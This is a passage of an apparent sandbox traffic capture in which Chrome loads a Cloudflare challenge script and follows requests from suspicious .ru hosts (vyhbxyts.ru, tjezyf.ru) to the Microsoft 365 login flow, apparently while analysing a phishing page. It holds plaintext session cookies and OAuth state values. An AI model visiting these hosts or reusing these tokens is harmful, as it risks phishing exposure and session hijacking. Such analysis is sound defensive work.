L([M.Normal,M.Compact,M.Invisible,M.Flexible],e)}function vt(e){return L(["auto","manual","never"],e)}function mt(e){return L(["auto","manual","never"],e)}var Nr=/^[a-z]{2,3}([-_][a-z]{2})?$/i;function gt(e){return e==="auto"\|\|Nr.test
2025-03-06 21:54:56 UTC	1369	IN	Data Raw: 72 22 2c 22 72 6f 2d 72 6f 22 5d 3b 66 75 6e 63 74 69 6f 6e 20 54 74 28 65 2c 74 29 7b 76 61 72 20 61 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 22 3b 69 66 28 74 29 7b 76 61 72 20 6f 3b 61 3d 28 6f 3d 65 5b 22 62 61 73 65 2d 75 72 6c 22 5d 29 21 3d 3d 6e 75 6c 6c 26 26 6f 21 3d 3d 76 6f 69 64 20 30 3f 6f 3a 61 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 2c 68 29 7b 76 61 72 20 73 3d 54 74 28 61 2c 63 29 2c 70 3d 6c 3f 22 68 2f 22 2e 63 6f 6e 63 61 74 28 6c 2c 22 2f 22 29 3a 22 22 2c 5f 3d 68 3f 22 3f 22 2e 63 6f 6e 63 61 74 28 68 29 3a 22 22 2c 41 3d 61 5b 22 66 65 65 64 62 61 63 6b 2d 65 6e 61 62 6c 65 64 22 5d 3d 3d 3d 21 31 3f 22 Data Ascii: r","ro-ro"];function Tt(e,t){var a="https://challenges.cloudflare.com";if(t){var o;a=(o=e["base-url"])!==null&&o!==void 0?o:a}return a}function Rt(e,t,a,o,c,l,v,h){var s=Tt(a,c),p=l?"h/".concat(l,"/"):"",_=h?"?".concat(h):"",A=a["feedback-enabled"]===!1?"
2025-03-06 21:54:56 UTC	1369	IN	Data Raw: 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 72 65 74 75 72 6e 20 6f 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 63 2c 6f 7d 2c 74 65 28 65 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 75 72 28 65 2c 74 29 7b 69 66 28 74 79 70 65 6f 66 20 74 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 21 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 77 Data Ascii: ect.setPrototypeOf\|\|function(o,c){return o.__proto__=c,o},te(e,t)}function ur(e,t){if(typeof t!="function"&&t!==null)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,w
2025-03-06 21:54:56 UTC	1369	IN	Data Raw: 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 65 28 63 2c 6f 29 7d 2c 47 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 73 72 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 26 26 28 46 28 74 29 3d 3d 3d 22 6f 62 6a 65 63 74 22 7c 7c 74 79 70 65 6f 66 20 74 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 3f 74 3a 7a 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 64 72 28 65 29 7b 76 61 72 20 74 3d 42 65 28 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 6c 65 28 65 29 2c 63 3b 69 66 28 74 29 7b 76 61 72 20 6c 3d 6c 65 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 63 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 6c 29 7d 65 6c 73 65 20 63 3d 6f 2e 61 70 70 6c 79 28 74 68 69 73 Data Ascii: ,configurable:!0}}),te(c,o)},Ge(e)}function sr(e,t){return t&&(F(t)==="object"\|\|typeof t=="function")?t:ze(e)}function dr(e){var t=Be();return function(){var o=le(e),c;if(t){var l=le(this).constructor;c=Reflect.construct(o,arguments,l)}else c=o.apply(this
2025-03-06 21:54:56 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 61 29 7b 76 61 72 20 6f 3d 54 74 28 74 2e 70 61 72 61 6d 73 2c 21 31 29 2c 63 3d 22 68 2f 22 2e 63 6f 6e 63 61 74 28 22 67 22 2c 22 2f 22 29 2c 6c 2c 76 2c 68 3d 22 22 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 63 2c 22 66 65 65 64 62 61 63 6b 2d 72 65 70 6f 72 74 73 2f 22 29 2e 63 6f 6e 63 61 74 28 58 65 28 65 29 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 28 76 3d 74 2e 70 61 72 61 6d 73 2e 74 68 65 6d 65 29 21 3d 3d 6e 75 6c 6c 26 26 76 21 3d 3d 76 6f 69 64 20 30 3f 76 3a 74 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 Data Ascii: unction(e,t,a){var o=Tt(t.params,!1),c="h/".concat("g","/"),l,v,h="".concat(o,"/cdn-cgi/challenge-platform/").concat(c,"feedback-reports/").concat(Xe(e),"/").concat(t.displayLanguage,"/").concat((v=t.params.theme)!==null&&v!==void 0?v:t.theme,"/").concat(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49728	104.16.6.189	443	3524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-06 21:54:56 UTC	596	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://t8ja.vyhbxyts.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-06 21:54:56 UTC	719	IN	HTTP/1.1 200 OK Date: Thu, 06 Mar 2025 21:54:56 GMT Content-Type: image/png Content-Length: 937 Connection: close Server: cloudflare Access-Control-Allow-Origin: * Cache-Control: public, max-age=0, must-revalidate Etag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Cf-Ray: 91c5182e8b9942aa-EWR Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff Set-Cookie: __cf_bm=2DfGCq3EFhgKfShC_TbEXtLdt1.TOFumvJpWyKYcR_o-1741298096-1.0.1.1-SdSn3cCF962FuFA8b2Ws7uozlLDa3jtvHzw5cSUnSf.OIl9f1be3ovoaphIKf_WZhZsXmY19amR3ZgHa1DRmk_NRGefTco69jNF1R..VYgw; HttpOnly; SameSite=None; Secure; Path=/; Domain=developers.cloudflare.com; Expires=Thu, 06 Mar 2025 22:24:56 GMT alt-svc: h3=":443"; ma=86400
2025-03-06 21:54:56 UTC	650	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-03-06 21:54:56 UTC	287	IN	Data Raw: 0e ee 39 df 2c 85 85 09 69 c6 04 d7 c0 65 d0 03 c2 20 04 ce 80 13 a0 09 1c 01 87 e4 9b b0 01 bd 5f 93 b5 e8 ca 40 13 68 01 2f 84 89 fb c2 c4 2e 16 2f 55 32 4e 64 f5 92 e4 8b e6 07 f8 2e f9 a6 f0 55 f2 05 7c 06 9f c0 7b d0 28 16 da cd ad 79 10 09 81 d7 60 0c 7c 04 e3 dc 02 7a 5c cd 06 7a d9 40 0b 6f 35 18 88 e1 2d 98 94 0b 4f f4 54 c6 54 4c 29 af 35 17 1d ce 79 b1 6d 0d 9d ab 96 0f 81 01 7a 5a e3 94 7f d8 81 b3 c7 bc c5 8b 12 f1 3a 1b b8 42 97 8a 69 0a e5 8e 77 ce 82 d2 eb 3f 21 0c f0 f6 6d 2d 78 69 f5 95 1f a6 e7 3b 9c 9e 0f 65 0c 30 c9 41 cc e1 1c 57 c7 7d bf ef 45 a6 b5 88 75 ff 0a ee e7 c8 cf 68 30 4f ad 2f c5 de df 82 55 df 00 6a 41 1d c4 ea 2c 20 a2 f3 7b 0f 28 fc ff 7f b1 f8 dd cf 5f 3d fe 77 23 bf 7e 8b c6 3c bd c1 67 0f 56 7a 91 a9 c6 c8 6f 40 1a Data Ascii: 9,ie _@h/./U2Nd.U\|{(y`\|z\z@o5-OTTL)5ymzZ:Biw?!m-xi;e0AW}Euh0O/UjA, {(_=w#~<gVzo@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49729	104.16.2.189	443	3524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-06 21:54:58 UTC	548	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=2DfGCq3EFhgKfShC_TbEXtLdt1.TOFumvJpWyKYcR_o-1741298096-1.0.1.1-SdSn3cCF962FuFA8b2Ws7uozlLDa3jtvHzw5cSUnSf.OIl9f1be3ovoaphIKf_WZhZsXmY19amR3ZgHa1DRmk_NRGefTco69jNF1R..VYgw
2025-03-06 21:54:58 UTC	413	IN	HTTP/1.1 200 OK Date: Thu, 06 Mar 2025 21:54:58 GMT Content-Type: image/png Content-Length: 937 Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff access-control-allow-origin: * Server: cloudflare CF-RAY: 91c5183c0a2a4285-EWR alt-svc: h3=":443"; ma=86400
2025-03-06 21:54:58 UTC	937	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49757	172.67.153.160	443	3524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-06 21:55:11 UTC	558	OUT	GET /chiriya$3c6dm HTTP/1.1 Host: tfs7p.tjezyf.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://t8ja.vyhbxyts.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://t8ja.vyhbxyts.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-06 21:55:12 UTC	834	IN	HTTP/1.1 200 OK Date: Thu, 06 Mar 2025 21:55:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KLzEccBlxcQPw%2B%2B4pPEKIYFMGB3GFMCmD8R1K3w9%2F8CAJKDv4ot%2F%2Bpd%2BoDxPbZ5X7R%2F5leBdRVHA9FPkMnPDWAqTfIhDMC21wFNhX5Og%2BxJIrv5Q8%2B8NUN71sV7c52vEaik%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91c5188e69257cf6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=10189&min_rtt=9927&rtt_var=3024&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=1136&delivery_rate=291524&cwnd=251&unsent_bytes=0&cid=75e88a1fd21d2c69&ts=1459&x=0"
2025-03-06 21:55:12 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2025-03-06 21:55:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49763	172.67.153.160	443	3524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-06 21:55:14 UTC	352	OUT	GET /chiriya$3c6dm HTTP/1.1 Host: tfs7p.tjezyf.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-06 21:55:15 UTC	818	IN	HTTP/1.1 200 OK Date: Thu, 06 Mar 2025 21:55:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fUhmRt8SjjCuS0Za%2FLJZ0I3WPpO8CoPxncBNweJmUx5SbcF9u7S0rWOM3DqdDjihhiyH%2BjecSshCDBWX72ZZAzja3WJPlAK9g5KEi9fX2UBl0D9500nJaG8riTDcwzcmn5s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91c518a24d07ea5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=9981&min_rtt=7888&rtt_var=3539&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2820&recv_bytes=930&delivery_rate=307137&cwnd=252&unsent_bytes=0&cid=c6447cab9ee8b785&ts=1437&x=0"
2025-03-06 21:55:15 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2025-03-06 21:55:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49799	13.107.6.156	443	3524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-06 21:55:30 UTC	702	OUT	GET / HTTP/1.1 Host: portal.office.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://t8ja.vyhbxyts.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-06 21:55:30 UTC	276	IN	HTTP/1.1 302 Found Location: https://www.microsoft365.com/login?ru=%2F%3Ffrom%3DPortalHome X-MSEdge-Ref: Ref A: C637B4F97DB54A578483441C6B64543E Ref B: EWR311000104021 Ref C: 2025-03-06T21:55:30Z Date: Thu, 06 Mar 2025 21:55:30 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49805	13.107.6.156	443	3524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-06 21:55:32 UTC	737	OUT	GET /login?ru=%2F%3Ffrom%3DPortalHome HTTP/1.1 Host: www.microsoft365.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://t8ja.vyhbxyts.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-06 21:55:32 UTC	2176	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Location: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638768949326945979.MGViZmE4OWItOTMyOC00ZTMxLWJjMTEtNDE4OTE3ZWNjYmYwYWJhNmI4OTUtYjM4Zi00ZTI1LTgxM2YtNzIyZDhhM2ZmNjk1&ui_locales=en-US&mkt=en-US&client-request-id=c78ca9f6-666c-4189-a6c8-50defdad580f&state=Rt8257lTmFhAL8-m-OCyBp-9HhiZIwQ_uaZ4DX79nrgtbKWNdr3UkmOm8jh5gVJko5153buwx_4McvBz3M1zriICy36Rzk1OqPwRco-6uhbAkOuEWIHF5Oh9FtB4MA3AmvfMMCPccmjUtTfMiyA-EDCUnL2nl1n2PLJxWXYOkVhf-kl6RI94t6rxZP-KKVKBhQi3kUrqU9IQ7aXpMHtZQa0E8yFxX0qlGVKTVVhJz5Yse_26TLBb8V1Aufv4Wo3JNarroRuYMtmtIj0zmX0S0jBksXmzGqujWjrOoTcam6f_bdG_zuBGvRJHPX2HvV82&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 Set-Cookie: OH.FLID=e8b5c6c8-3e04-4376-be1f-5786ea95dce7; expires=Fri, 06 Mar 2026 21:55:32 GMT; path=/; secure; samesite=none; httponly Set-Cookie: OH.SID=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/ Set-Cookie: .AspNetCore.OpenIdConnect.Nonce.6t49ULHB5pdwKJ7oHzI-cOfZI-bI-N703zDd0BLnXbCtvQre1iTwArGFh2YNeVfCTWC1UM2uMO_9cjoMq3CYin3raJSJwu-U0JRGbffDXLcNdhCzCaXtWQKKOPYqu-0KGo99LDMLPr787K1q_-dT02pogPUMsyNka7lH0IuK0988gOMXaqOwB-7QTHCGgP_tFl91ZRj_fjPqwaY6QDczKPZQYaRiceTlqU3zqBHEYAIYoPUNjj470t_vBPthutx4=N; expires=Thu, 06 Mar 2025 22:10:32 GMT; path=/; secure; samesite=none; httponly Set-Cookie: .AspNetCore.Correlation.b8bFv5RH47cxO4oW6ziY5KJu9qFV2UN0Bn0lPno6d_o=N; expires=Thu, 06 Mar 2025 22:10:32 GMT; path=/; secure; samesite=none; httponly Request-Context: appId= Strict-Transport-Security: max-age=31536000; includeSubDomains Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-UA-Compatible: IE=edge,chrome=1 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: C71E856D87E84C838097D6F44E852976 Ref B: EWR311000107031 Ref C: 2025-03-06T21:55:32Z Date: Thu, 06 Mar 2025 21:55:32 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49811	20.190.160.132	443	3524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-06 21:55:35 UTC	1550	OUT	GET /common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638768949326945979.MGViZmE4OWItOTMyOC00ZTMxLWJjMTEtNDE4OTE3ZWNjYmYwYWJhNmI4OTUtYjM4Zi00ZTI1LTgxM2YtNzIyZDhhM2ZmNjk1&ui_locales=en-US&mkt=en-US&client-request-id=c78ca9f6-666c-4189-a6c8-50defdad580f&state=Rt8257lTmFhAL8-m-OCyBp-9HhiZIwQ_uaZ4DX79nrgtbKWNdr3UkmOm8jh5gVJko5153buwx_4McvBz3M1zriICy36Rzk1OqPwRco-6uhbAkOuEWIHF5Oh9FtB4MA3AmvfMMCPccmjUtTfMiyA-EDCUnL2nl1n2PLJxWXYOkVhf-kl6RI94t6rxZP-KKVKBhQi3kUrqU9IQ7aXpMHtZQa0E8yFxX0qlGVKTVVhJz5Yse_26TLBb8V1Aufv4Wo3JNarroRuYMtmtIj0zmX0S0jBksXmzGqujWjrOoTcam6f_bdG_zuBGvRJHPX2HvV82&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 HTTP/1.1 Host: login.microsoftonline.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://t8ja.vyhbxyts.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-06 21:55:35 UTC	2240	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains X-Content-Type-Options: nosniff P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 95360146-3ad2-4623-bf6a-cad68a7f6200 x-ms-ests-server: 2.1.20139.6 - WEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+ams2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-clitelem: 1,50168,0,, x-ms-srs: 1.P Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy-Report-Only: object-src 'none'; base-uri 'self'; script-src 'self' 'nonce-fdBYRp7em5U_PFT12un9pg' 'unsafe-inline' 'unsafe-eval' https://.msauth.net https://.msftauth.net https://.msftauthimages.net https://.msauthimages.net https://.msidentity.com https://.microsoftonline-p.com https://.microsoftazuread-sso.com https://.azureedge.net https://.outlook.com https://.office.com https://.office365.com https://.microsoft.com https://*.bing.com 'report-sample'; report-uri https://csp.microsoft.com/report/ESTS-UX-All X-XSS-Protection: 0 Set-Cookie: esctx-o5hmElAb9b8=AQABCQEAAABVrSpeuWamRam2jAF1XRQEAZ5w3bUrYbMIuMck-Ecql_diaEKAntEg63fe2ysZVdaOT9XYaKgZrECugfczZ46IgN2sWnFgPFSPp8nMZY0H9Lm6GdnfPGBZyOo7bH0iMV1eAB2RhDxS-1zNVCtDEksXsBVRXC9PrTIeFIZdhGEEkiAA; domain=.login.microsoftonline.com; path=/; secure; HttpOnly; SameSite=None Set-Cookie: fpc=ArNZiE-suGVClIK0j8HrpL4; expires=Sat, 05-Apr-2025 21:55:35 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQE65EC_TVbpIKKotniURumZtGt2BCSgBhbr6A67EvWCgruHp6KAfx-k024nRxdcgS_ZbvKdIj0AeE31JYQ-ILo_m2WQMl9LlvfJErVTxTy2wLvtGw_JvFQcDs-8mQz0-Oxhse-5dwing-5zYPffjnywUQnS7F_1ZlVZ8g9CB65OZIgAA; domain=.login.microsoftonline.com; path=/; secure; HttpOnly; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Set-Cookie: stsservicecookie=estsfd; path=/; secure; samesite=none; httponly Date: Thu, 06 Mar 2025 21:55:35 GMT Connection: close Content-Length: 21383
